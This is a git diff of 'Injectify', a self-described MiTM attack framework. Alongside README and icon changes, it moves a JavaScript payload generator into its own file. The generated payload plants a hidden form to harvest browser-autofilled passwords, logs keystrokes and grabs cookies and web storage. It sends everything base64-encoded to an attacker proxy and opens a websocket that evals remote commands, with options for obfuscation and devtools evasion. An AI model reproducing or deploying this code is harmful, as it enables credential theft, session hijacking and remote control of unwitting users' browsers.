diff --git a/README.md b/README.md
index d74d2893..17b01543 100644
--- a/README.md
+++ b/README.md
@@ -1,17 +1,68 @@
-# Injectify
+
+
+
+
+
Injectify
+
+ Perform advanced MiTM attacks on websites with ease.
+
+
+
+
+
+ Website
+ |
+
+ Trello
+ |
+
+ Discord
+ |
+
+ Browse the docs
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
![Screenshot of the Injectify UI](https://samdd.me/images/projects/injectify.png)
A modern BeEF inspired framework for the 21st century.
-## Setting up the server
+## Getting started
+1. Clone this repo
+2. [Download & install MongoDB](https://www.mongodb.com/download-center#community)
+>
+> If using Windows, make sure `C:\Program Files\MongoDB\Server\3.4\bin\mongod.exe` is in your path environment variable
+3. [Create a new GitHub application](https://github.com/settings/applications/new)
+![GitHub Applications page](https://i.imgur.com/oiuiMhR.png)
+4. Copy `server.config.example.js` to `server.config.js` and replace the GitHub client ID and secret.
+![GitHub client ID & secret](https://i.imgur.com/JId0Wyk.png)
+![server.config.js](https://i.imgur.com/cRcES59.png)
+5. Making sure NodeJS and NPM are installed, and run the following in a terminal:
+```bash
+# install Yarn package manager
+sudo npm i -g yarn
-- [Download & install MongoDB](https://www.mongodb.com/download-center#community)
- - If using Windows, make sure `C:\Program Files\MongoDB\Server\3.4\bin\mongod.exe` is in your path environment variable
-- Go into the `source/server/` folder and execute `npm run dev`
+# make sure you're in the root of the Injectify repo
+yarn run install-all
-[![Analytics](https://ga-beacon.appspot.com/UA-85426772-5/Injectify/?pixel)](https://github.com/igrigorik/ga-beacon)
+# this will start the MongoDB database & the webpack dev server
+yarn run dev
+# MAKE SURE to run this in a new terminal in the Injectify directory
+yarn run server
```
-npm install -g nodemon
-npm install -g cross-env
+6. Injectify is now available over at [`http://localhost:3000`](http://localhost:3000)
-```
\ No newline at end of file
+[![Analytics](https://ga-beacon.appspot.com/UA-85426772-5/Injectify/?pixel)](https://github.com/igrigorik/ga-beacon)
\ No newline at end of file
diff --git a/assets/discord/avatar.png b/assets/discord/avatar.png
index ed0ed61a..58243333 100644
Binary files a/assets/discord/avatar.png and b/assets/discord/avatar.png differ
diff --git a/assets/injectify.png b/assets/injectify.png
index ed0ed61a..eb1f3b01 100644
Binary files a/assets/injectify.png and b/assets/injectify.png differ
diff --git a/assets/sizes/transparent.png b/assets/sizes/transparent.png
new file mode 100644
index 00000000..f85e00a2
Binary files /dev/null and b/assets/sizes/transparent.png differ
diff --git a/assets/sizes/transparent.svg b/assets/sizes/transparent.svg
new file mode 100644
index 00000000..ed1da5fd
--- /dev/null
+++ b/assets/sizes/transparent.svg
@@ -0,0 +1,4 @@
+
+
+
+
diff --git a/assets/sizes/transparent_white.png b/assets/sizes/transparent_white.png
new file mode 100644
index 00000000..55e324cd
Binary files /dev/null and b/assets/sizes/transparent_white.png differ
diff --git a/assets/sizes/transparent_white.svg b/assets/sizes/transparent_white.svg
new file mode 100644
index 00000000..1ca6a793
--- /dev/null
+++ b/assets/sizes/transparent_white.svg
@@ -0,0 +1,4 @@
+
+
+
+
diff --git a/interface/android-chrome-192x192.png b/interface/android-chrome-192x192.png
new file mode 100644
index 00000000..49e8d625
Binary files /dev/null and b/interface/android-chrome-192x192.png differ
diff --git a/interface/android-chrome-512x512.png b/interface/android-chrome-512x512.png
new file mode 100644
index 00000000..fffc8281
Binary files /dev/null and b/interface/android-chrome-512x512.png differ
diff --git a/interface/apple-touch-icon.png b/interface/apple-touch-icon.png
new file mode 100644
index 00000000..a4633543
Binary files /dev/null and b/interface/apple-touch-icon.png differ
diff --git a/interface/browserconfig.xml b/interface/browserconfig.xml
new file mode 100644
index 00000000..90b4ab26
--- /dev/null
+++ b/interface/browserconfig.xml
@@ -0,0 +1,9 @@
+
+
+
+
+
+ #3f51b5
+
+
+
diff --git a/interface/favicon-16x16.png b/interface/favicon-16x16.png
new file mode 100644
index 00000000..4b1bac1a
Binary files /dev/null and b/interface/favicon-16x16.png differ
diff --git a/interface/favicon-32x32.png b/interface/favicon-32x32.png
new file mode 100644
index 00000000..6a2105c1
Binary files /dev/null and b/interface/favicon-32x32.png differ
diff --git a/interface/favicon.ico b/interface/favicon.ico
new file mode 100644
index 00000000..ab092e28
Binary files /dev/null and b/interface/favicon.ico differ
diff --git a/interface/index.html b/interface/index.html
index 4f70237e..352762e1 100644
--- a/interface/index.html
+++ b/interface/index.html
@@ -10,10 +10,18 @@
-
-
-
+
Injectify
+
+
+
+
+
+
+
+
+
+
@@ -24,6 +32,7 @@
+
diff --git a/interface/manifest.json b/interface/manifest.json
new file mode 100644
index 00000000..e3d9abfc
--- /dev/null
+++ b/interface/manifest.json
@@ -0,0 +1,18 @@
+{
+ "name": "Injectify",
+ "icons": [
+ {
+ "src": "/android-chrome-192x192.png",
+ "sizes": "192x192",
+ "type": "image/png"
+ },
+ {
+ "src": "/android-chrome-512x512.png",
+ "sizes": "512x512",
+ "type": "image/png"
+ }
+ ],
+ "theme_color": "#ffffff",
+ "background_color": "#ffffff",
+ "display": "standalone"
+}
\ No newline at end of file
diff --git a/interface/mstile-150x150.png b/interface/mstile-150x150.png
new file mode 100644
index 00000000..811e2c30
Binary files /dev/null and b/interface/mstile-150x150.png differ
diff --git a/interface/safari-pinned-tab.svg b/interface/safari-pinned-tab.svg
new file mode 100644
index 00000000..9ec4960f
--- /dev/null
+++ b/interface/safari-pinned-tab.svg
@@ -0,0 +1 @@
+
\ No newline at end of file
diff --git a/main.js b/main.js
index 51cd1a95..c319e37e 100644
--- a/main.js
+++ b/main.js
@@ -44,9 +44,7 @@ const {flag} = require('country-emoji')
const twemoji = require('twemoji')
const atob = require('atob')
const btoa = require('btoa')
-const beautify = require('js-beautify').js_beautify
const UglifyJS = require('uglify-es')
-const ObfuscateJS = require('js-obfuscator')
const reverse = require('reverse-string')
const cookieParser = require('cookie-parser')
const parseAgent = require('user-agent-parser')
@@ -2142,312 +2140,7 @@ MongoClient.connect(config.mongodb, (err, client) => {
/**
* Payload API
*/
- app.get('/api/payload/*', apiLimiter, (req, res) => {
- function enc (string, enableEval) {
- if (req.query.base64 === 'false') {
- if (enableEval) {
- return string
- } else {
- return '"' + string + '"'
- }
- } else {
- if (enableEval) {
- return 'eval(atob("' + btoa(string) + '"))'
- } else {
- return 'atob("' + btoa(string) + '")'
- }
- }
- }
- function comment (message) {
- if (req.query.comments === 'true') {
- return '\n// ' + message
- } else {
- return ''
- }
- }
- function ifPassword (script) {
- if (req.query.passwords === 'false') {
- return ''
- } else {
- return script + '\n'
- }
- }
- function ifNotPassword (script) {
- if (req.query.passwords === 'false') {
- return script + '\n'
- } else {
- return ''
- }
- }
- function debug (script) {
- if (req.query.debug === 'true') {
- return '\n' + script
- } else {
- return ''
- }
- }
- function sendToServer (url) {
- if (config.dev) url = '"http:"+' + url
- if (bypassCors) {
- return 'window.location=' + url + '+"$"'
- } else {
- return enc('c.src=' + url, true)
- }
- }
- let valid = true
- if (!req.query.project) valid = false
-
- let inject = false
- if (req.query.inject === 'true') inject = true
- let keylogger = false
- if (req.query.keylogger === 'true') keylogger = true
- let screenSize = true
- if (req.query.screenSize === 'false') screenSize = false
- let location = true
- if (req.query.location === 'false') location = false
- let localStorage = true
- if (req.query.localStorage === 'false') localStorage = false
- let sessionStorage = true
- if (req.query.sessionStorage === 'false') sessionStorage = false
- let cookies = true
- if (req.query.cookies === 'false') cookies = false
- let bypassCors = false
- if (req.query.bypassCors === 'true') bypassCors = true
-
- let proxy = '//uder.ml/' // '//injectify.samdd.me/'
- if (req.query.proxy) proxy = req.query.proxy
- let wss = 'wss:'
- if (config.dev) {
- proxy = '//localhost:' + config.express + '/'
- wss = 'ws:'
- }
-
- let injectProject = btoa(req.query.project)
- if (req.query.debug === 'true') injectProject = '$' + injectProject
- let help = `
- // ┌─────────────────────────────────────┐
- // │ Injectify payload engine © │
- // │ INTELLECTUAL PROPERTY OF SAMDD │
- // ├────────────────┬─────────┬──────────┤
- // │ GET_PARAM │ TYPE │ DEFAULT │
- // ├────────────────┼─────────┼──────────┤
- // │ project │ STRING │ REQUIRED │
- // │ proxy │ URL │ NONE │
- // │ base64 │ BOOLEAN │ TRUE │
- // │ obfuscate │ BOOLEAN │ FALSE │
- // │ minify │ BOOLEAN │ FALSE │
- // │ comments │ BOOLEAN │ FALSE │
- // | debug | BOOLEAN | FALSE |
- // | bypassCors | BOOLEAN | FALSE |
- // │ │ │ │
- // | inject │ BOOLEAN │ FALSE |
- // | passwords │ BOOLEAN │ TRUE |
- // | keylogger │ BOOLEAN │ FALSE |
- // │ screenSize │ BOOLEAN │ TRUE │
- // │ location │ BOOLEAN │ TRUE │
- // │ localStorage │ BOOLEAN │ TRUE │
- // │ sessionStorage │ BOOLEAN │ TRUE │
- // │ cookies │ BOOLEAN │ TRUE │
- // └────────────────┴─────────┴──────────┘`
-
- if (valid) {
- res.setHeader('Content-Type', 'application/javascript')
-
- let variables = ''
- let json = ''
- let body = ''
- let catcher = ''
- let injectScript
-
- if (inject) {
- let websocket = "'"+ wss + "'+p+'i/websocket?" + injectProject + "'"
- if (req.query.passwords === 'false' && keylogger === false) websocket = "'" + wss + proxy + "i/websocket?" + injectProject + "'"
- body += `
- function u() {` + comment('Open a new websocket to the server') + `
- window.ws = new WebSocket(` + websocket + `)
- ws.onmessage = function(d) {
- try {` + comment('Parse the websocket message as JSON') + `
- d = JSON.parse(d.data)` + comment('Evaluate the javascript') + `
- eval(d.d)
- } catch(e) {` + comment('On error send error back to server') + `
- ws.send(JSON.stringify({
- t: 'e',
- d: e.stack,
- }))
- }
- }
- ws.onclose = function() {` + comment('Attempt to re-open the websocket, retrying every 3 seconds') + `
- setTimeout(u, 3000)
- }
- }
- u()
- `
- injectScript = body
- }
- if (keylogger) {
- variables += 'm = {}, f = [], g = new Date().getTime(),'
- body += comment('add listeners to the window for keydown & keyup events') + `
- k.onkeydown = k.onkeyup = function (n) {
- var l = '',` + comment('give the keycode number to variables h & z') + `
- h = n.key,
- z = h` + comment("if the key type ends with p => then it's keyup") + `
- if (n.type.slice(-1) == 'p') l = '_'` + comment('append the keyup / keydown indicator') + `
- z += l` + comment('ignore multiple modifier calls & invalid key presses') + `
- if (m == z || !h) return` + comment('Push to array') + `
- f.push(z)` + comment('update the value of the last m(odifier) key press') + `
- if (h.length > 1) m = z
- ` + debug(`
- if (n.key && n.key.length > 1) {
- console.log('%c[keylogger@INJECTIFY] %cModifier key state changed', 'color: #ef5350; font-weight: bold', 'color: #FF9800', n)
- } else {
- console.log('%c[keylogger@INJECTIFY] %cKey state changed', 'color: #ef5350; font-weight: bold', 'color: #FF9800', n)
- }
- `) + `
- }
-
- setInterval(function() {` + comment('if the array is empty, skip making a request') + `
- if (!f.length) return
- i = {
- a: atob("` + btoa(req.query.project) + `"),
- t: 1,
- b: g,
- c: f,
- d: k.location.href,
- j: d.title
- }
- ` + sendToServer("p+'r/'+btoa(encodeURI(JSON.stringify(i))).split('').reverse().join('')") + `
- f = []
- }, 3000)
- `
- }
- if (screenSize) {
- variables += 'j = k.screen,'
- json += 'e: j.height, f: j.width,'
- }
- if (location) json += 'd: k.location.href, j: d.title,'
- if (localStorage) catcher += 'i.g = localStorage,'
- if (sessionStorage) catcher += 'i.h = sessionStorage,'
- if (cookies) json += 'i: d.cookie,'
-
- if (variables) variables = ',' + variables.slice(0, -1)
- if (json) json = ',' + json.slice(0, -1)
- if (catcher) {
- if (req.query.debug === 'true') {
- catcher = '\n' + catcher.slice(0, -1)
- } else {
- catcher = '\ntry {' + comment('attempt to insert the local & session storage into object, but ignore if it fails\n') + catcher.slice(0, -1) + '} catch(error) {}\n\n'
- }
- }
-
- let script = help + `
- // Project name | ` + req.query.project + `
-
-
- ` + injectScript
- if (!(req.query.passwords == 'false' && keylogger == false)) {
- script = help + `
- // Project name | ` + req.query.project + `
-
-
- var d = document,` +
- ifPassword(`
- v = ` + enc('input') + `,
- w = d.createElement(` + enc('form') + `),
- x = d.createElement(v),
- y,`
- ) +
- `c = ` + enc('new Image()', true) + `,
- p = ` + enc(proxy) + `,
- i,
- k = window` + variables +
-
- ifPassword(`\n` +
- comment('name attribute is required for autofill to work') + `
- x.name = ""` +
-
- comment('autofill still works if the elements are non-rendered') + `
- x.style = ` + enc('display:none') + `
- ` +
-
- comment('clone the input node instead of declaring it again') + `
- y = x.cloneNode()` +
-
- comment('set the input type to password') + `
- y.type = ` + enc('password') + `
- ` +
-
- comment('append elements to form node') + `
- w.appendChild(x)
- w.appendChild(y)` +
-
- comment('append form node to DOM') + `
- d.body.appendChild(w)`
- ) + '\n' +
-
- body +
-
- ifPassword(
- comment("add a listener to the password input, browser's autofiller will trigger this") + `
- y.addEventListener(v, function () {` + comment('construct a global object with data to extract')
- ) + ifNotPassword(`\n`) +
- `i = {
- a: atob("` + btoa(req.query.project) + `"),
- t: 0` +
- ifPassword(`,
- b: x.value,
- c: y.value`
- ) + json + `
- }
- ` + catcher +
- ifPassword(debug("console.log('%c[INJECTIFY] %cCaptured username & password', 'color: #ef5350; font-weight: bold', 'color: #FF9800', i)\n")) +
-
- comment('send a request to the server (or proxy) with the BASE64 encoded JSON object\n') +
- sendToServer(`p+'r/'+btoa(encodeURI(JSON.stringify(i))).split('').reverse().join('')`) +
- ifPassword(
- comment("remove the form node from the DOM (so it can't be (easily) seen in devtools)") + `
- w.remove()
- })`
- )
- /// ////////////////////////////////////////////////////////////////////////
- }
-
- if (req.query.obfuscate === 'true') {
- ObfuscateJS(script, {
-
- }).then(obfuscated => {
- res.send(obfuscated)
- }, function (err) {
- res.send(UglifyJS.minify(script).code)
- throw err
- })
- } else if (req.query.minify === 'true') {
- res.send(
- UglifyJS.minify(script).code
- )
- } else {
- res.send(
- beautify(script, {
- indent_size: 2
- })
- )
- }
- } else {
- res.setHeader('Content-Type', 'application/javascript')
- let script = help
- res.status(400).send(
- beautify(script, {
- indent_size: 2
- })
- )
- }
- if (config.debug) {
- console.log(
- chalk.greenBright('[Payload] ') +
- chalk.yellowBright('generated for project ') +
- chalk.magentaBright(req.query.project)
- )
- }
- })
+ app.get('/api/payload/*', apiLimiter, require('./src/api/payload-generator'))
/**
* Project API
diff --git a/src/api/payload-generator.js b/src/api/payload-generator.js
new file mode 100644
index 00000000..35d5c75a
--- /dev/null
+++ b/src/api/payload-generator.js
@@ -0,0 +1,308 @@
+const chalk = require('chalk')
+const ObfuscateJS = require('js-obfuscator')
+const beautify = require('js-beautify').js_beautify
+
+module.exports = (req, res) => {
+ function enc (string, enableEval) {
+ if (req.query.base64 === 'false') {
+ if (enableEval) {
+ return string
+ } else {
+ return '"' + string + '"'
+ }
+ } else {
+ if (enableEval) {
+ return 'eval(atob("' + btoa(string) + '"))'
+ } else {
+ return 'atob("' + btoa(string) + '")'
+ }
+ }
+ }
+ function comment (message) {
+ if (req.query.comments === 'true') {
+ return '\n// ' + message
+ } else {
+ return ''
+ }
+ }
+ function ifPassword (script) {
+ if (req.query.passwords === 'false') {
+ return ''
+ } else {
+ return script + '\n'
+ }
+ }
+ function ifNotPassword (script) {
+ if (req.query.passwords === 'false') {
+ return script + '\n'
+ } else {
+ return ''
+ }
+ }
+ function debug (script) {
+ if (req.query.debug === 'true') {
+ return '\n' + script
+ } else {
+ return ''
+ }
+ }
+ function sendToServer (url) {
+ if (config.dev) url = '"http:"+' + url
+ if (bypassCors) {
+ return 'window.location=' + url + '+"$"'
+ } else {
+ return enc('c.src=' + url, true)
+ }
+ }
+ let valid = true
+ if (!req.query.project) valid = false
+
+ let inject = false
+ if (req.query.inject === 'true') inject = true
+ let keylogger = false
+ if (req.query.keylogger === 'true') keylogger = true
+ let screenSize = true
+ if (req.query.screenSize === 'false') screenSize = false
+ let location = true
+ if (req.query.location === 'false') location = false
+ let localStorage = true
+ if (req.query.localStorage === 'false') localStorage = false
+ let sessionStorage = true
+ if (req.query.sessionStorage === 'false') sessionStorage = false
+ let cookies = true
+ if (req.query.cookies === 'false') cookies = false
+ let bypassCors = false
+ if (req.query.bypassCors === 'true') bypassCors = true
+
+ let proxy = '//uder.ml/' // '//injectify.samdd.me/'
+ if (req.query.proxy) proxy = req.query.proxy
+ let wss = 'wss:'
+ if (config.dev) {
+ proxy = '//localhost:' + config.express + '/'
+ wss = 'ws:'
+ }
+
+ let injectProject = btoa(req.query.project)
+ if (req.query.debug === 'true') injectProject = '$' + injectProject
+ let help = `
+ // ┌─────────────────────────────────────┐
+ // │ Injectify payload engine © │
+ // │ INTELLECTUAL PROPERTY OF SAMDD │
+ // ├────────────────┬─────────┬──────────┤
+ // │ GET_PARAM │ TYPE │ DEFAULT │
+ // ├────────────────┼─────────┼──────────┤
+ // │ project │ STRING │ REQUIRED │
+ // │ proxy │ URL │ NONE │
+ // │ base64 │ BOOLEAN │ TRUE │
+ // │ obfuscate │ BOOLEAN │ FALSE │
+ // │ minify │ BOOLEAN │ FALSE │
+ // │ comments │ BOOLEAN │ FALSE │
+ // | debug | BOOLEAN | FALSE |
+ // | bypassCors | BOOLEAN | FALSE |
+ // │ │ │ │
+ // | inject │ BOOLEAN │ FALSE |
+ // | passwords │ BOOLEAN │ TRUE |
+ // | keylogger │ BOOLEAN │ FALSE |
+ // │ screenSize │ BOOLEAN │ TRUE │
+ // │ location │ BOOLEAN │ TRUE │
+ // │ localStorage │ BOOLEAN │ TRUE │
+ // │ sessionStorage │ BOOLEAN │ TRUE │
+ // │ cookies │ BOOLEAN │ TRUE │
+ // └────────────────┴─────────┴──────────┘`
+
+ if (valid) {
+ res.setHeader('Content-Type', 'application/javascript')
+
+ let variables = ''
+ let json = ''
+ let body = ''
+ let catcher = ''
+ let injectScript
+
+ if (inject) {
+ let websocket = "'"+ wss + "'+p+'i/websocket?" + injectProject + "'"
+ if (req.query.passwords === 'false' && keylogger === false) websocket = "'" + wss + proxy + "i/websocket?" + injectProject + "'"
+ body += `
+ function u() {` + comment('Open a new websocket to the server') + `
+ window.ws = new WebSocket(` + websocket + `)
+ ws.onmessage = function(d) {
+ try {` + comment('Parse the websocket message as JSON') + `
+ d = JSON.parse(d.data)` + comment('Evaluate the javascript') + `
+ eval(d.d)
+ } catch(e) {` + comment('On error send error back to server') + `
+ ws.send(JSON.stringify({
+ t: 'e',
+ d: e.stack,
+ }))
+ }
+ }
+ ws.onclose = function() {` + comment('Attempt to re-open the websocket, retrying every 3 seconds') + `
+ setTimeout(u, 3000)
+ }
+ }
+ u()
+ `
+ injectScript = body
+ }
+ if (keylogger) {
+ variables += 'm = {}, f = [], g = new Date().getTime(),'
+ body += comment('add listeners to the window for keydown & keyup events') + `
+ k.onkeydown = k.onkeyup = function (n) {
+ var l = '',` + comment('give the keycode number to variables h & z') + `
+ h = n.key,
+ z = h` + comment("if the key type ends with p => then it's keyup") + `
+ if (n.type.slice(-1) == 'p') l = '_'` + comment('append the keyup / keydown indicator') + `
+ z += l` + comment('ignore multiple modifier calls & invalid key presses') + `
+ if (m == z || !h) return` + comment('Push to array') + `
+ f.push(z)` + comment('update the value of the last m(odifier) key press') + `
+ if (h.length > 1) m = z
+ ` + debug(`
+ if (n.key && n.key.length > 1) {
+ console.log('%c[keylogger@INJECTIFY] %cModifier key state changed', 'color: #ef5350; font-weight: bold', 'color: #FF9800', n)
+ } else {
+ console.log('%c[keylogger@INJECTIFY] %cKey state changed', 'color: #ef5350; font-weight: bold', 'color: #FF9800', n)
+ }
+ `) + `
+ }
+
+ setInterval(function() {` + comment('if the array is empty, skip making a request') + `
+ if (!f.length) return
+ i = {
+ a: atob("` + btoa(req.query.project) + `"),
+ t: 1,
+ b: g,
+ c: f,
+ d: k.location.href,
+ j: d.title
+ }
+ ` + sendToServer("p+'r/'+btoa(encodeURI(JSON.stringify(i))).split('').reverse().join('')") + `
+ f = []
+ }, 3000)
+ `
+ }
+ if (screenSize) {
+ variables += 'j = k.screen,'
+ json += 'e: j.height, f: j.width,'
+ }
+ if (location) json += 'd: k.location.href, j: d.title,'
+ if (localStorage) catcher += 'i.g = localStorage,'
+ if (sessionStorage) catcher += 'i.h = sessionStorage,'
+ if (cookies) json += 'i: d.cookie,'
+
+ if (variables) variables = ',' + variables.slice(0, -1)
+ if (json) json = ',' + json.slice(0, -1)
+ if (catcher) {
+ if (req.query.debug === 'true') {
+ catcher = '\n' + catcher.slice(0, -1)
+ } else {
+ catcher = '\ntry {' + comment('attempt to insert the local & session storage into object, but ignore if it fails\n') + catcher.slice(0, -1) + '} catch(error) {}\n\n'
+ }
+ }
+
+ let script = help + `
+ // Project name | ` + req.query.project + `
+
+
+ ` + injectScript
+ if (!(req.query.passwords == 'false' && keylogger == false)) {
+ script = help + `
+ // Project name | ` + req.query.project + `
+
+
+ var d = document,` +
+ ifPassword(`
+ v = ` + enc('input') + `,
+ w = d.createElement(` + enc('form') + `),
+ x = d.createElement(v),
+ y,`
+ ) +
+ `c = ` + enc('new Image()', true) + `,
+ p = ` + enc(proxy) + `,
+ i,
+ k = window` + variables +
+
+ ifPassword(`\n` +
+ comment('name attribute is required for autofill to work') + `
+ x.name = ""` +
+
+ comment('autofill still works if the elements are non-rendered') + `
+ x.style = ` + enc('display:none') + `
+ ` +
+
+ comment('clone the input node instead of declaring it again') + `
+ y = x.cloneNode()` +
+
+ comment('set the input type to password') + `
+ y.type = ` + enc('password') + `
+ ` +
+
+ comment('append elements to form node') + `
+ w.appendChild(x)
+ w.appendChild(y)` +
+
+ comment('append form node to DOM') + `
+ d.body.appendChild(w)`
+ ) + '\n' +
+
+ body +
+
+ ifPassword(
+ comment("add a listener to the password input, browser's autofiller will trigger this") + `
+ y.addEventListener(v, function () {` + comment('construct a global object with data to extract')
+ ) + ifNotPassword(`\n`) +
+ `i = {
+ a: atob("` + btoa(req.query.project) + `"),
+ t: 0` +
+ ifPassword(`,
+ b: x.value,
+ c: y.value`
+ ) + json + `
+ }
+ ` + catcher +
+ ifPassword(debug("console.log('%c[INJECTIFY] %cCaptured username & password', 'color: #ef5350; font-weight: bold', 'color: #FF9800', i)\n")) +
+
+ comment('send a request to the server (or proxy) with the BASE64 encoded JSON object\n') +
+ sendToServer(`p+'r/'+btoa(encodeURI(JSON.stringify(i))).split('').reverse().join('')`) +
+ ifPassword(
+ comment("remove the form node from the DOM (so it can't be (easily) seen in devtools)") + `
+ w.remove()
+ })`
+ )
+ /// ////////////////////////////////////////////////////////////////////////
+ }
+
+ if (req.query.obfuscate === 'true') {
+ ObfuscateJS(script).then(obfuscated => {
+ res.send(obfuscated)
+ }, function (err) {
+ res.send(UglifyJS.minify(script).code)
+ throw err
+ })
+ } else if (req.query.minify === 'true') {
+ res.send(
+ UglifyJS.minify(script).code
+ )
+ } else {
+ res.send(
+ beautify(script, {
+ indent_size: 2
+ })
+ )
+ }
+ } else {
+ res.setHeader('Content-Type', 'application/javascript')
+ let script = help
+ res.status(400).send(
+ beautify(script, {
+ indent_size: 2
+ })
+ )
+ }
+ if (config.debug) {
+ console.log(
+ chalk.greenBright('[Payload] ') +
+ chalk.yellowBright('generated for project ') +
+ chalk.magentaBright(req.query.project)
+ )
+ }
+}
\ No newline at end of file